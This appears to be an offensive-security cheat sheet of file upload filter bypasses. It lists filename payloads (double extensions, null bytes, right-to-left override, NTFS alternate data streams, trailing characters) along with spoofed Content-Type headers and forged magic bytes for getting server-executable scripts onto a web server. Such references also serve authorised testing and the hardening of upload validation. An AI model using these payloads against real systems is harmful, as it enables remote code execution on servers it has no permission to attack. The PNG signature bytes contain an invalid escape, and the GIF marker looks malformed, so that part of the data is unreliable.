File Upload Tricks
Last updated
Last updated
Use double extensions : .jpg.php, .png.php5
Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): .php.jpg
Random uppercase and lowercase : .pHp, .pHP5, .PhAr
Null byte (works well against pathinfo())
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg
Special characters
Multiple dots : file.php...... , in Windows when a file is created with dots at the end those will be removed.
Whitespace and new line characters
file.php%20
file.php%0d%0a.jpg
file.php%0a
Right to Left Override (RTLO): name.%E2%80%AEphp.jpg will became name.gpj.php.
Slash: file.php/, file.php.\, file.j\sp, file.j/sp
Multiple special characters: file.jsp/././././.
Mime type, change Content-Type : application/x-php or Content-Type : application/octet-stream to Content-Type : image/gif
Content-Type : image/gif
Content-Type : image/png
Content-Type : image/jpeg
Content-Type wordlist:
Set the Content-Type twice: once for unallowed type and once for allowed.
Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
JPG: \xff\xd8\xff
GIF: GIF87a OR GIF8;
Shell can also be added in the metadata
Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.")